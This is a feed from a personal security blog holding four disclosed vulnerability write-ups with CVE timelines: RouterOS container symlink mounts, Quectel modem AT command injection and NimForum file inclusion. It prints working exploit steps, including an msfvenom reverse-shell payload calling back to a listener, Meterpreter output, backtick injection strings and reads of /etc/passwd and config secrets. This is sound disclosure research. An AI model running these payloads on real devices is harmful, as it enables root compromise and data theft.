<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="4.3.2">Jekyll</generator><link href="https://nns.ee/blog/feed.xml" rel="self" type="application/atom+xml" /><link href="https://nns.ee/blog/" rel="alternate" type="text/html" /><updated>2023-08-21T09:48:45+03:00</updated><id>https://nns.ee/blog/feed.xml</id><title type="html">nns&apos; blog</title><subtitle>Rasmus Moorats&apos; personal blog. Infosec write-ups.</subtitle><entry><title type="html">Symlinks as mount portals: Abusing container mount points on MikroTik&apos;s RouterOS to gain code execution</title><link href="https://nns.ee/blog/2022/08/05/routeros-container-rce.html" rel="alternate" type="text/html" title="Symlinks as mount portals: Abusing container mount points on MikroTik&apos;s RouterOS to gain code execution" /><published>2022-08-05T06:00:00+03:00</published><updated>2022-08-05T06:00:00+03:00</updated><id>https://nns.ee/blog/2022/08/05/routeros-container-rce</id><content type="html" xml:base="https://nns.ee/blog/2022/08/05/routeros-container-rce.html"><![CDATA[<p>RouterOS release 7.4beta4 introduced containers for MikroTik devices. From the <a href="https://mikrotik.com/download/changelogs/testing-release-tree#show-tab-tree_1-id-17fcdb2c9586600c7fd5294544ffd3f1">changelog</a>:</p>
      <blockquote>
        <p>container - added support for running Docker (TM) containers on ARM, ARM64 and x86</p>
      </blockquote>
      <p>It turns out that due to a couple of implementation flaws, it's possible to execute code on the host device via the container functionality.</p>
      <!--description-->
      <h2 id="mount-points">Mount points</h2>
      <p>In the <a href="https://help.mikrotik.com/docs/display/ROS/Container#Container-Addenvironmentvariablesandmounts(optional)">MikroTik documentation</a>, it is shown that it's possible to create mount points between the host and the container. As an example, the <code class="language-plaintext highlighter-rouge">etc</code> folder on <code class="language-plaintext highlighter-rouge">disk1</code> is mounted into <code class="language-plaintext highlighter-rouge">/etc/pihole</code> in the container:</p>
      <div class="language-plaintext highlighter-rouge">
        <div class="highlight">
          <pre class="highlight"><code>/container/mounts/add name=etc_pihole src=disk1/etc dst=/etc/pihole
</code></pre>
        </div>
      </div>
      <p>While playing around with this feature, I soon realized that the current implementation has three specific behaviour details which makes the feature rather dangerous.</p>
      <h3 id="1-paths-are-resolved-through-symlinks">1. Paths are resolved through symlinks</h3>
      <p>Let's, for example, take the following directory structure:</p>
      <div class="language-plaintext highlighter-rouge">
        <div class="highlight">
          <pre class="highlight"><code>disk1/
├── dir1/
│   ├── file1
│   └── file2
└── dir2/ --(symbolic link)--&gt; dir1/
</code></pre>
        </div>
      </div>
      <p>Even though <code class="language-plaintext highlighter-rouge">dir2</code> is a symbolic link to <code class="language-plaintext highlighter-rouge">dir1</code>, adding a mount point to <code class="language-plaintext highlighter-rouge">disk1/dir2/file1</code> works, meaning that <code class="language-plaintext highlighter-rouge">dir2</code> is resolved to <code class="language-plaintext highlighter-rouge">dir1</code> before the file is mounted.</p>
      <h3 id="2-symlinks-are-resolved-relative-to-the-host-devices-root-not-the-containers-root">2. Symlinks are resolved relative to the host device's root, not the container's root</h3>
      <p>Let's say my container's root filesystem is stored in <code class="language-plaintext highlighter-rouge">disk1/alpine</code>. If I do the following inside the container:</p>
      <div class="language-plaintext highlighter-rouge">
        <div class="highlight">
          <pre class="highlight"><code># ln -s / /rootfs
</code></pre>
        </div>
      </div>
      <p>… then inside the container, the directory <code class="language-plaintext highlighter-rouge">/rootfs</code> resolves to <code class="language-plaintext highlighter-rouge">/</code> as expected. However, if I then use this directory as a mount point source when setting the container up in RouterOS, then the symbolic link is resolved in relation to the device's own filesystem.</p>
      <p>As an example, I'll mount the host filesystem inside the container's <code class="language-plaintext highlighter-rouge">/mnt</code> directory:</p>
      <div class="language-plaintext highlighter-rouge">
        <div class="highlight">
          <pre class="highlight"><code>/container/mounts/add name=rootfs src=/disk1/alpine/rootfs dst=/mnt
</code></pre>
        </div>
      </div>
      <p>Then, from inside the created container, I can access the host's root filesystem:</p>
      <div class="language-plaintext highlighter-rouge">
        <div class="highlight">
          <pre class="highlight"><code># ls -l /mnt
total 0
drwxr-xr-x    2 nobody   nobody         149 Jun 15 11:38 bin
drwxr-xr-x    9 nobody   nobody         131 Jun 15 11:38 bndl
drwxr-xr-x    2 nobody   nobody           3 Jun 15 11:38 boot
drwxr-xr-x    2 nobody   nobody           3 Jun 15 11:38 dev
lrwxrwxrwx    1 nobody   nobody          11 Jun 15 11:38 dude -&gt; /flash/dude
drwxr-xr-x    2 nobody   nobody         352 Jun 15 11:38 etc
drwxr-xr-x    2 nobody   nobody           3 Jun 15 11:38 flash
drwxr-xr-x    3 nobody   nobody          26 Jun 15 11:38 home
drwxr-xr-x    3 nobody   nobody         403 Jun 15 11:38 lib
drwxr-xr-x    5 nobody   nobody          73 Jun 15 11:38 nova
lrwxrwxrwx    1 nobody   nobody           9 Jun 15 11:38 pckg -&gt; /ram/pckg
drwxr-xr-x    2 nobody   nobody           3 Jun 15 11:38 proc
drwxr-xr-x    2 nobody   nobody           3 Jun 15 11:38 ram
lrwxrwxrwx    1 nobody   nobody           9 Jun 15 11:38 rw -&gt; /flash/rw
drwxr-xr-x    2 nobody   nobody          45 Jun 15 11:38 sbin
drwxr-xr-x    2 nobody   nobody           3 Jun 15 11:38 sys
lrwxrwxrwx    1 nobody   nobody           7 Jun 15 11:38 tmp -&gt; /rw/tmp
drwxr-xr-x    5 nobody   nobody         111 Jun 15 11:38 var
</code></pre>
        </div>
      </div>
      <p>While it's possible to read files, most of the filesystem is read-only, meaning it's not possible to write files. However…</p>
      <h3 id="3-symlinks-are-resolved-for-both-the-src-and-dst-parameters">3. Symlinks are resolved for both the <code class="language-plaintext highlighter-rouge">src</code> and <code class="language-plaintext highlighter-rouge">dst</code> parameters</h3>
      <p>What this effectively means is that by using this same <code class="language-plaintext highlighter-rouge">rootfs</code> symlink in the <code class="language-plaintext highlighter-rouge">dst</code> parameter, it is possible to mount any arbitrary directory or file from any location (even from inside the container) to any location on the host filesystem.</p>
      <p>As an example, I create a mount point that mounts a <code class="language-plaintext highlighter-rouge">robots.txt</code> file from inside the container to the webfig directory, effectively "overwriting" the existing <code class="language-plaintext highlighter-rouge">robots.txt</code>:</p>
      <div class="language-plaintext highlighter-rouge">
        <div class="highlight">
          <pre class="highlight"><code>/container/mounts/add name=robots src=/disk1/alpine/robots.txt dst=/rootfs/home/web/robots.txt
</code></pre>
        </div>
      </div>
      <p>Then, on a third machine, we verify that it was overwritten using <code class="language-plaintext highlighter-rouge">curl</code>:</p>
      <div class="language-plaintext highlighter-rouge">
        <div class="highlight">
          <pre class="highlight"><code>$ curl router.lan/robots.txt
Hello from inside the container!
</code></pre>
        </div>
      </div>
      <h2 id="exploitation">Exploitation</h2>
      <p>Mount-what-where is a very powerful primitive. It should be relatively easy to run arbitrary code - just mount over a preexisting executable on the system that gets executed by the device at some point.</p>
      <p>However, that won't work, because of how the mount point is created. From <code class="language-plaintext highlighter-rouge">/proc/mounts</code>:</p>
      <div class="language-plaintext highlighter-rouge">
        <div class="highlight">
          <pre class="highlight"><code>/dev/sda1 /nova/bin/telnet ext4 rw,nosuid,nodev,noexec,relatime 0 0
</code></pre>
        </div>
      </div>
      <p>The mount point is created with the <code class="language-plaintext highlighter-rouge">nosuid</code>, <code class="language-plaintext highlighter-rouge">nodev</code>, and most importantly <code class="language-plaintext highlighter-rouge">noexec</code> options. This means that even if you were to mount over an existing binary, it would never get executed, and would instead fail with a "Permission denied" every time. This also extends to shared libraries, so mounting over <code class="language-plaintext highlighter-rouge">.so</code> files is also out of the question.</p>
      <p>I also didn't spot any obvious config files which would allow running code.</p>
      <p>This is where symlinks come to the rescue yet again.</p>
      <p>As it turns out, symlinks existing on <code class="language-plaintext highlighter-rouge">noexec</code> filesystems but pointing to binaries existing on filesystems without <code class="language-plaintext highlighter-rouge">noexec</code> will still be executed:</p>
      <div class="language-plaintext highlighter-rouge">
        <div class="highlight">
          <pre class="highlight"><code>$ cp $(which id) id1
$ ln -s $(which id) id2
$ ./id1
bash: ./id1: Permission denied
$ ./id2
uid=1000(xx) gid=1000(xx) groups=1000(xx)
</code></pre>
        </div>
      </div>
      <p>This means that we can simply mount a symbolic link over a specific executable that points to the malicious binary we want to run, assuming it is accessible from some mount point that doesn't have the <code class="language-plaintext highlighter-rouge">noexec</code> flag set. By looking at <code class="language-plaintext highlighter-rouge">/proc/mounts</code>, we can see that the container's own root filesystem is actually not mounted with <code class="language-plaintext highlighter-rouge">noexec</code> (which makes sense - you wouldn't be able to run executables inside the container otherwise):</p>
      <div class="language-plaintext highlighter-rouge">
        <div class="highlight">
          <pre class="highlight"><code>/dev/sda1 /flash/rw/container/aa10a963-9715-4c61-967c-7d9f993410e6/root ext4 rw,nosuid,nodev,relatime 0 0
</code></pre>
        </div>
      </div>
      <p>This is all we need to mount a successful attack. As the malicious binary, I generated a <code class="language-plaintext highlighter-rouge">meterpreter/reverse_tcp</code> ELF:</p>
      <div class="language-plaintext highlighter-rouge">
        <div class="highlight">
          <pre class="highlight"><code>msfvenom -p linux/armle/meterpreter/reverse_tcp LHOST=10.4.0.245 LPORT=1338 -f elf &gt; rev
</code></pre>
        </div>
      </div>
      <p>I copied this inside the container and also created a symlink pointing to its location in the executable mount point:</p>
      <div class="language-plaintext highlighter-rouge">
        <div class="highlight">
          <pre class="highlight"><code>ln -s /flash/rw/container/aa10a963-9715-4c61-967c-7d9f993410e6/root/rev /revlnk
</code></pre>
        </div>
      </div>
      <p>As the target binary, I decided to use <code class="language-plaintext highlighter-rouge">telnet</code>, as it's relatively low-priority and easy to trigger and debug. I then created the mount point in RouterOS:</p>
      <div class="language-plaintext highlighter-rouge">
        <div class="highlight">
          <pre class="highlight"><code>/container/mounts/add name=telnet src=/disk1/alpine/revlnk dst=/rootfs/nova/bin/telnet
</code></pre>
        </div>
      </div>
      <p>After starting the container, the binary <code class="language-plaintext highlighter-rouge">/nova/bin/telnet</code> was mounted over and was instead a symlink to our malicious binary:</p>
      <div class="language-plaintext highlighter-rouge">
        <div class="highlight">
          <pre class="highlight"><code>/nova/bin/telnet -&gt; /flash/rw/container/aa10a963-9715-4c61-967c-7d9f993410e6/root/rev
</code></pre>
        </div>
      </div>
      <p>As expected, after running <code class="language-plaintext highlighter-rouge">/system/telnet 127.0.0.1</code> on the device, I got a connection in my Meterpreter listener:</p>
      <div class="language-plaintext highlighter-rouge">
        <div class="highlight">
          <pre class="highlight"><code>msf6 exploit(multi/handler) &gt; exploit

[*] Started reverse TCP handler on 10.4.0.245:1338
[*] Sending stage (908480 bytes) to 10.4.0.1
[*] Meterpreter session 1 opened (10.4.0.245:1338 -&gt; 10.4.0.1:59434) at 2022-06-21 10:24:34 +0300

meterpreter &gt; ls
Listing: /
==========

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
040755/rwxr-xr-x  149   dir   2022-06-15 14:38:21 +0300  bin
040755/rwxr-xr-x  131   dir   2022-06-15 14:38:21 +0300  bndl
040755/rwxr-xr-x  3     dir   2022-06-15 14:38:21 +0300  boot
040755/rwxr-xr-x  6140  dir   2022-06-20 21:41:47 +0300  dev
                                                         dude
040755/rwxr-xr-x  352   dir   2022-06-15 14:38:21 +0300  etc
040755/rwxr-xr-x  1024  dir   2022-06-20 21:41:14 +0300  flash
040755/rwxr-xr-x  26    dir   2022-06-15 14:38:21 +0300  home
040755/rwxr-xr-x  403   dir   2022-06-15 14:38:21 +0300  lib
040755/rwxr-xr-x  73    dir   2022-06-15 14:38:21 +0300  nova
040755/rwxr-xr-x  200   dir   1970-01-01 03:00:12 +0300  pckg
040555/r-xr-xr-x  0     dir   1970-01-01 03:00:00 +0300  proc
041777/rwxrwxrwx  400   dir   2022-06-21 08:33:07 +0300  ram
040755/rwxr-xr-x  1024  dir   1970-01-01 03:00:14 +0300  rw
040755/rwxr-xr-x  45    dir   2022-06-15 14:38:21 +0300  sbin
040555/r-xr-xr-x  0     dir   1970-01-01 03:00:12 +0300  sys
040644/rw-r--r--  1024  dir   1970-01-01 03:00:19 +0300  tmp
040755/rwxr-xr-x  111   dir   2022-06-15 14:38:21 +0300  var
</code></pre>
        </div>
      </div>
      <p>This means we can successfully execute arbitrary code on the device.</p>
      <p>The issue is fixed in RouterOS versions 7.4beta5, 7.4, 7.5beta1, and higher.</p>
      <div>
        <hr />
        <h3>Timeline</h3>
        <ul>
          <li><b>21/06/2022</b> - Attempted to contact vendor</li>
          <li><b>21/06/2022</b> - Vendor response</li>
          <li><b>04/08/2022</b> - Assigned ID <a href="https://nvd.nist.gov/vuln/detail/CVE-2022-34960">CVE-2022-34960</a></li>
          <li><b>05/08/2022</b> - Vendor informs of fixes in codebase</li>
          <li><b>05/08/2022</b> - Post published</li>
        </ul>
      </div>
      ]]></content><author><name></name></author><category term="routeros" /><category term="container" /><category term="docker" /><category term="rce" /><summary type="html"><![CDATA[RouterOS release 7.4beta4 introduced containers for MikroTik devices. From the changelog: container - added support for running Docker (TM) containers on ARM, ARM64 and x86 It turns out that due to a couple of implementation flaws, it's possible to execute code on the host device via the container functionality.]]></summary></entry><entry><title type="html">Code execution as root via AT commands on the Quectel RG500Q-EA 5G modem</title><link href="https://nns.ee/blog/2022/06/21/modem-rce2.html" rel="alternate" type="text/html" title="Code execution as root via AT commands on the Quectel RG500Q-EA 5G modem" /><published>2022-06-21T05:00:00+03:00</published><updated>2022-06-21T05:00:00+03:00</updated><id>https://nns.ee/blog/2022/06/21/modem-rce2</id><content type="html" xml:base="https://nns.ee/blog/2022/06/21/modem-rce2.html"><![CDATA[<p>I recently researched a relatively new 5G-capable modem from Quectel: the RG500Q-EA. I identified a security issue with how the OTA download procedure operates which allows an attacker to execute commands on the modem as <code class="language-plaintext highlighter-rouge">root</code>.</p>
    <!--description-->
    <h2 id="previous-research">Previous research</h2>
    <p>I've previously posted <a href="https://nns.ee/blog/2021/04/03/modem-rce.html">about an issue</a> affecting older Quectel modems present in the PinePhone. The issue, which was assigned the CVE ID CVE-2021-31698, is similar to the one described in this article. The article presents some background on how the modem and the mainboard (the "host" machine) communicate - usually, the mainboard sends AT commands over a serial line to the modem, which runs its own black-box operating system entirely independent of the mainboard. These AT commands are parsed by a daemon running on the modem, which then indicates whether the command executed successfully and optionally returns some data.</p>
    <h2 id="analyzing-the-daemon">Analyzing the daemon</h2>
    <p>In the previously mentioned issue, I described that the AT commands were parsed by a daemon on the modem called <code class="language-plaintext highlighter-rouge">atfwd_daemon</code>. While this is still technically somewhat true, a bulk of the core functionality is offloaded to other components or libraries. Some AT commands are executed by the modem's QDSP processor, which is at the time of writing still quite difficult to reverse engineer. The library we're interested in is <code class="language-plaintext highlighter-rouge">libql_atcop.so</code>, which is an ARMv8 shared library present on the modem's host OS.</p>
    <p>I identified the vulnerable command <code class="language-plaintext highlighter-rouge">AT+QFOTADL</code>. In practice, this command is used to point to an OTA download link, for example:</p>
    <div class="language-plaintext highlighter-rouge">
      <div class="highlight">
        <pre class="highlight"><code>AT+QFOTADL="https://sif.ee/Quectel-OTA.bin"
</code></pre>
      </div>
    </div>
    <p>The modem downloads the OTA, extracts it, verifies whether it's installable, and finally installs it on the modem device.</p>
    <p>This command is handled in <code class="language-plaintext highlighter-rouge">libql_atcop.so</code> by a procedure named <code class="language-plaintext highlighter-rouge">ql_exec_qfotadl_cmd_proc()</code>:</p>
    <p><img src="/blog/img/rmUv5AfbJTgbJpmr.png" alt="/blog/img/rmUv5AfbJTgbJpmr.png" /></p>
    <p>This procedure first matches the provided schema and checks to see which protocol is being used (plain HTTP, HTTPS, or FTP):</p>
    <p><img src="/blog/img/K6RnaeHd8Px2koSw.png" alt="/blog/img/K6RnaeHd8Px2koSw.png" /></p>
    <p>Code flow is then passed to another procedure, which formats the provided URL into a system command using <code class="language-plaintext highlighter-rouge">snprintf()</code> and initiates the download:</p>
    <p><img src="/blog/img/457SCYMqTxqWLfoH.png" alt="/blog/img/457SCYMqTxqWLfoH.png" /></p>
    <p>Disassembling the binary further revealed that there is no user input sanitization in place and the provided user input is used in the command as-is, which is executed using <code class="language-plaintext highlighter-rouge">system()</code> (provided by a wrapper function in another library).</p>
    <h2 id="code-execution">Code execution</h2>
    <p>From this, we can deduce that arbitrary command execution is possible. We can, for example, enter a valid schema and use backticks to execute our commands in a subshell. As an example, to reboot the modem:</p>
    <div class="language-plaintext highlighter-rouge">
      <div class="highlight">
        <pre class="highlight"><code>AT+QFOTADL="http://`reboot`"
</code></pre>
      </div>
    </div>
    <p>Due to the fact that the daemon runs as root, the code is also being executed as the root user on the modem.</p>
    <p>As an example, in this <a href="https://asciinema.org/a/i5fcdf7lY0NHELINtqxe5QecD">Asciinema recording</a>, I use the <code class="language-plaintext highlighter-rouge">nc</code> binary present to establish a reverse shell (over 5G!) to my server.</p>
    <p><a href="https://asciinema.org/a/i5fcdf7lY0NHELINtqxe5QecD"><img src="https://asciinema.org/a/i5fcdf7lY0NHELINtqxe5QecD.svg" alt="asciicast" /></a></p>
    <p>It's very possible that this vulnerability affects other Quectel products as well, as firmware is commonly reused, but I do not possess other hardware to test it on. Most probably, it affects all RG50xQ products, if not more. Vendor did not clarify which products this vulnerability affects.</p>
    <div>
      <hr />
      <h3>Timeline</h3>
      <ul>
        <li><b>22/02/2022</b> - Attempted to contact vendor</li>
        <li><b>23/02/2022</b> - Vendor confirmed vulnerability</li>
        <li><b>23/02/2022</b> - Vendor informs of fix in codebase</li>
        <li><b>25/02/2022</b> - Assigned ID <a href="https://nvd.nist.gov/vuln/detail/CVE-2022-26147">CVE-2022-26147</a></li>
        <li><b>14/06/2022</b> - Notified vendor of imminent public disclosure of vulnerability, no response from vendor</li>
        <li><b>21/06/2022</b> - Article published</li>
      </ul>
    </div>
    ]]></content><author><name></name></author><category term="lte" /><category term="gps" /><category term="modem" /><summary type="html"><![CDATA[I recently researched a relatively new 5G-capable modem from Quectel: the RG500Q-EA. I identified a security issue with how the OTA download procedure operates which allows an attacker to execute commands on the modem as root.]]></summary></entry><entry><title type="html">Don&apos;t trust comments</title><link href="https://nns.ee/blog/2022/01/31/dont-trust-comments.html" rel="alternate" type="text/html" title="Don&apos;t trust comments" /><published>2022-01-31T11:00:00+02:00</published><updated>2022-01-31T11:00:00+02:00</updated><id>https://nns.ee/blog/2022/01/31/dont-trust-comments</id><content type="html" xml:base="https://nns.ee/blog/2022/01/31/dont-trust-comments.html"><![CDATA[<p>And habitually review the third party code you're using - even when it's in the
    standard library.</p>
  <!--description-->
  <h3 id="nimforum">NimForum</h3>
  <p><a href="https://github.com/nim-lang/nimforum">NimForum</a> is a project by Nim language developers that demonstrates both the front and back end capabilities of the Nim language. It's a standard forum-like web application for different communities - people can post threads and reply to them.</p>
  <p>I was recently playing around with it and testing its capabilities. What caught my eye is that NimForum enables <a href="https://forum.nim-lang.org/about/rst">formatting with reStructuredText</a> instead of other commonly used dialects such as Markdown or BBCode. RST is far more powerful than the latter options and exposes various directives which the author of a document can use.</p>
  <p>One of these directives is <code class="language-plaintext highlighter-rouge">include</code>, which allows <a href="https://docutils.sourceforge.io/docs/ref/rst/directives.html#including-an-external-document-fragment">including files</a> in the generated output. As the documentation states, this is a dangerous directive and introduces an obvious security hole when left enabled.</p>
  <h3 id="nims-standard-library">Nim's standard library</h3>
  <p>NimForum uses the <a href="https://github.com/nim-lang/nimforum/blob/00a96ab08ca53671f5930c977d2306ec47a122ab/src/utils.nim#L176-L178">rstToHtml</a> procedure from the <code class="language-plaintext highlighter-rouge">docutils/rstgen</code> package in the standard library in order to do most of the heavy lifting of converting RST-formatted text to HTML. The procedure's <a href="https://github.com/nim-lang/Nim/blob/520881af9add94b26ef7d0630352ad425bb84490/lib/packages/docutils/rstgen.nim#L1595-L1599">docstring</a> states the following:</p>
  <blockquote>
    <p>The proc is meant to be used in <em>online</em> environments without access to a meaningful filesystem, and therefore rst <code class="language-plaintext highlighter-rouge">include</code> like directives won't work.</p>
  </blockquote>
  <p>In addition, the <code class="language-plaintext highlighter-rouge">myFindFile</code> <a href="https://github.com/nim-lang/Nim/blob/520881af9add94b26ef7d0630352ad425bb84490/lib/packages/docutils/rstgen.nim#L1613-L1615">procedure</a> is passed to the <code class="language-plaintext highlighter-rouge">include</code> directive handler:</p>
  <div class="language-nim highlighter-rouge">
    <div class="highlight">
      <pre class="highlight"><code><span class="k">proc </span><span class="nf">myFindFile</span><span class="p">(</span><span class="n">filename</span><span class="p">:</span> <span class="kt">string</span><span class="p">):</span> <span class="kt">string</span> <span class="o">=</span>
  <span class="c"># we don't find any files in online mode:</span>
  <span class="n">result</span> <span class="o">=</span> <span class="s">""</span>
</code></pre>
    </div>
  </div>
  <p>All of this leads to believe that <code class="language-plaintext highlighter-rouge">include</code> directives flat out won't work. However, this is not the case.</p>
  <p><img src="/blog/img/Z70KfET7lXvdF0Bn.png" alt="Message entry" /></p>
  <p><img src="/blog/img/IsT9zqaYJmVTL369.png" alt="Preview output" /></p>
  <p>We included <code class="language-plaintext highlighter-rouge">./forum.json</code> and the contents of the forum's configuration file (with secrets) are printed when the <code class="language-plaintext highlighter-rouge">/preview</code> endpoint is used. This also works with absolute file paths, such as <code class="language-plaintext highlighter-rouge">/etc/passwd</code>. This issue is quite serious and was given the CVE ID <a href="https://nvd.nist.gov/vuln/detail/CVE-2022-23602">CVE-2022-23602</a>. The vulnerability itself affected all NimForum instances, including the one hosted at forum.nim-lang.org.</p>
  <h3 id="hidden-functionality">Hidden functionality</h3>
  <p>Even if you go through all of RST's documentation and disable all unsafe directives such as <code class="language-plaintext highlighter-rouge">include</code>, <code class="language-plaintext highlighter-rouge">csv</code>, and so on that allow including local files, it turns out that Nim's <code class="language-plaintext highlighter-rouge">rstgen</code> package has extended the <code class="language-plaintext highlighter-rouge">code-block</code> directive to <a href="https://github.com/nim-lang/Nim/blob/520881af9add94b26ef7d0630352ad425bb84490/lib/packages/docutils/rstgen.nim#L955-L960">also include files using the <code class="language-plaintext highlighter-rouge">file</code> field</a>. Even if you were extremely familiar with reStructuredText and all of its unsafe directives, this would probably slip by unnoticed if nobody reviewed code.</p>
  <h3 id="mitigation">Mitigation</h3>
  <p>If you're using NimForum for your community, you should upgrade to version 2.2.0 ASAP. The security advisory for NimForum can be found <a href="https://github.com/nim-lang/nimforum/security/advisories/GHSA-q3vh-x957-wr75">here</a>.</p>
  <p>The issue in the Nim standard library has been fixed by <a href="https://github.com/nim-lang/Nim/commit/cb894c7094fb49014f85815a9dafc38b5dda743e">commit <code class="language-plaintext highlighter-rouge">cb894c70</code></a>, which introduces additional by-default sandboxing. This sandboxing can be disabled with the <code class="language-plaintext highlighter-rouge">roSandboxDisabled</code> flag if desirable.</p>
  <div>
    <hr />
    <h3>Timeline</h3>
    <ul>
      <li><b>28/01/2022</b> - Nim core maintainer notified</li>
      <li><b>28/01/2022</b> - Maintainer confirmation</li>
      <li><b>28/01/2022</b> - Private <a href="https://github.com/nim-lang/nimforum/security/advisories/GHSA-q3vh-x957-wr75">security advisory</a> created</li>
      <li><b>29/01/2022</b> - <a href="https://github.com/nim-lang/Nim/commit/cb894c7094fb49014f85815a9dafc38b5dda743e">Fix</a> pushed to Nim upstream</li>
      <li><b>29/01/2022</b> - CVE requested</li>
      <li><b>29/01/2022</b> - Security advisory <a href="https://github.com/nim-lang/nimforum/security/advisories/GHSA-q3vh-x957-wr75">published</a></li>
      <li><b>31/01/2022</b> - <a href="https://nvd.nist.gov/vuln/detail/CVE-2022-23602">CVE ID assigned</a></li>
      <li><b>31/01/2022</b> - This article published</li>
    </ul>
  </div>
  ]]></content><author><name></name></author><summary type="html"><![CDATA[And habitually review the third party code you're using - even when it's in the standard library.]]></summary></entry><entry><title type="html">Code execution as root via AT commands on the Quectel EG25-G modem</title><link href="https://nns.ee/blog/2021/04/03/modem-rce.html" rel="alternate" type="text/html" title="Code execution as root via AT commands on the Quectel EG25-G modem" /><published>2021-04-03T12:00:00+03:00</published><updated>2021-04-03T12:00:00+03:00</updated><id>https://nns.ee/blog/2021/04/03/modem-rce</id><content type="html" xml:base="https://nns.ee/blog/2021/04/03/modem-rce.html"><![CDATA[<p>As I mentioned towards the end of my <a href="https://nns.ee/blog/2021/04/01/modem-blog.html">previous blog post</a>, where I detailed running my blog on the PinePhone's GSM/WWAN/GPS modem, I suspected that the daemon responsible for parsing AT commands on the modem's side is susceptible to OS command injection, as it uses a <em>lot</em> of <code class="language-plaintext highlighter-rouge">system()</code> calls. My hunch turned out to be true.</p>
  <!--description-->
  <h2 id="communication-with-the-pinephone">Communication with the PinePhone</h2>
  <p>Among other channels, the PinePhone communicates with the Quectel modem by sending <a href="https://en.wikipedia.org/wiki/Hayes_command_set">AT commands</a> to the modem over a serial line - <code class="language-plaintext highlighter-rouge">/dev/ttyUSB2</code> on the PinePhone's side and <code class="language-plaintext highlighter-rouge">/dev/ttyHSL0</code> on the modem's side.</p>
  <p>The modem, which runs a <a href="https://nns.ee/blog/2021/04/01/modem-blog.html">full Linux install</a> separate from the PinePhone's main OS, receives these commands, parses them, and executes them according to program logic. After this, the modem either returns <code class="language-plaintext highlighter-rouge">OK</code> or <code class="language-plaintext highlighter-rouge">ERROR</code> over the serial line back to the PinePhone. The daemon primarily responsible for this is <code class="language-plaintext highlighter-rouge">atfwd_daemon</code>.</p>
  <h2 id="analyzing-atfwd_daemon">Analyzing <code class="language-plaintext highlighter-rouge">atfwd_daemon</code></h2>
  <p>Getting the daemon is easy. It's possible to set up <a href="https://xnux.eu/devices/feature/modem-pp.html#toc-unlock-adb-access"><code class="language-plaintext highlighter-rouge">adb</code> access</a> and extract it using <code class="language-plaintext highlighter-rouge">adb</code>. It's also possible to simply extract it from the firmware's update packages, as it's not encrypted in any way.</p>
  <p>Loading <code class="language-plaintext highlighter-rouge">atfwd_daemon</code> in Ghidra reveals that the executable uses <code class="language-plaintext highlighter-rouge">system()</code> in 233 different places across the file. That's… quite a lot.</p>
  <p>While using <code class="language-plaintext highlighter-rouge">system()</code> with user input is never a good idea, most of the calls cannot be exploited due to being hardcoded or the fact that user input is converted to an integer using <code class="language-plaintext highlighter-rouge">sprintf()</code>:</p>
  <p><a href="/blog/img/1BSw4BQZ.png"><img src="/blog/img/1BSw4BQZ.png" alt="/blog/img/1BSw4BQZ.png" /></a></p>
  <p>However, there are a few places where user input is <code class="language-plaintext highlighter-rouge">sprintf()</code>-d as <code class="language-plaintext highlighter-rouge">%s</code> and no checks or sanitization is performed on user input.</p>
  <p>One of these places is in a routine called <code class="language-plaintext highlighter-rouge">quectel_handle_fumo_cfg_command()</code>:</p>
  <p><a href="/blog/img/EnUTEnhj.png"><img src="/blog/img/EnUTEnhj.png" alt="/blog/img/EnUTEnhj.png" /></a></p>
  <p>Here we can see that <code class="language-plaintext highlighter-rouge">param1[1]</code> is being formatted as <code class="language-plaintext highlighter-rouge">ipth_dme -dmacc %s &amp;</code>, which is then passed to <code class="language-plaintext highlighter-rouge">system()</code>. What's interesting to note here is that <code class="language-plaintext highlighter-rouge">ipth_dme</code> does not exist on the system at all, so this program would never run.</p>
  <p>Traversing the program execution flow, we can see that the switch case in the previous screenshot is triggered when some part of user input begins with "dmacc". This is checked in a routine called <code class="language-plaintext highlighter-rouge">quectel_parse_fumo_cfg_cmd_params()</code>:</p>
  <p><a href="/blog/img/DSuRVPK1.png"><img src="/blog/img/DSuRVPK1.png" alt="/blog/img/DSuRVPK1.png" /></a></p>
  <p>The rest of the input remains relatively untouched.</p>
  <p>Going further up the program flow, we can see that the command in question which parses this input is <code class="language-plaintext highlighter-rouge">+QFUMOCFG</code>:</p>
  <p><a href="/blog/img/wCONynTY.png"><img src="/blog/img/wCONynTY.png" alt="/blog/img/wCONynTY.png" /></a></p>
  <h2 id="code-execution">Code execution</h2>
  <p>From this, we can deduce that arbitrary command execution is possible. We can, for example, use backticks to execute our commands in a subshell. As an example, to reboot the modem:</p>
  <div class="language-plaintext highlighter-rouge">
    <div class="highlight">
      <pre class="highlight"><code>AT+QFUMOCFG="dmacc","`reboot`"
</code></pre>
    </div>
  </div>
  <p>Due to the fact that the daemon runs as root, the code is also being executed as the root user on the modem.</p>
  <p>As an example, in this <a href="https://asciinema.org/a/IANZkjwk9lw82pOKFLsWvsi9k">Asciinema recording</a>, I <code class="language-plaintext highlighter-rouge">cat /etc/passwd</code> and run <code class="language-plaintext highlighter-rouge">id</code>, and return the data to the PinePhone's OS over a serial line:</p>
  <p><a href="https://asciinema.org/a/IANZkjwk9lw82pOKFLsWvsi9k"><img src="https://asciinema.org/a/IANZkjwk9lw82pOKFLsWvsi9k.svg" alt="asciicast" /></a></p>
  <p>It's very possible that this vulnerability affects other Quectel products as well, as firmware is commonly reused, but I do not possess other hardware to test it on.</p>
  <div>
    <hr />
    <h3>Timeline</h3>
    <ul>
      <li><b>03/04/2021</b> - Attempted to contact vendor</li>
      <li><b>13/04/2021</b> - Vendor confirmed vulnerability</li>
      <li><b>23/04/2021</b> - Vendor issued $2,000 bounty</li>
      <li><b>24/04/2021</b> - Assigned ID CVE-2021-31698</li>
      <li><b>08/09/2021</b> - Write-up published</li>
    </ul>
  </div>
